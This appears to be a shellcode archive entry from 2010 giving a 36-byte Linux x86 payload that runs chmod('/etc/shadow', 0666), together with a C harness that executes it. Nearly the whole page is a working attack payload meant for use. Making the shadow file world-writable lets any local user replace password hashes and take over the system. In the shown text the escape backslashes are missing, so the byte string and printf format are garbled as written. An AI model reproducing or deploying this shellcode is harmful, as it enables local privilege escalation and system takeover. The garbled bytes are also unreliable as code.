[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : 36 bytes chmod("/etc/shadow", 0666) shellcode
# Published : 2010-04-14
# Author : Magnefikko
# Previous Title : 33 Bytes chmod("/etc/shadow", 0777) Shellcode
# Next Title : 25 bytes execve("/bin/sh") shellcode
#include <stdio.h>
#include <string.h>
/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 36 bytes chmod("/etc/shadow", 0666) shellcode
Platform: Linux x86
chmod("/etc/shadow", 0666);
gcc -Wl,-z,execstack filename.c
shellcode:
xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77
*/
int main(){
char shell[] =
"xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77";
printf("by Magnefikkonmagnefikko@gmail.comnpromhyl.oz.plnnstrlen(shell)
= %dn", strlen(shell));
(*(void (*)()) shell)();
}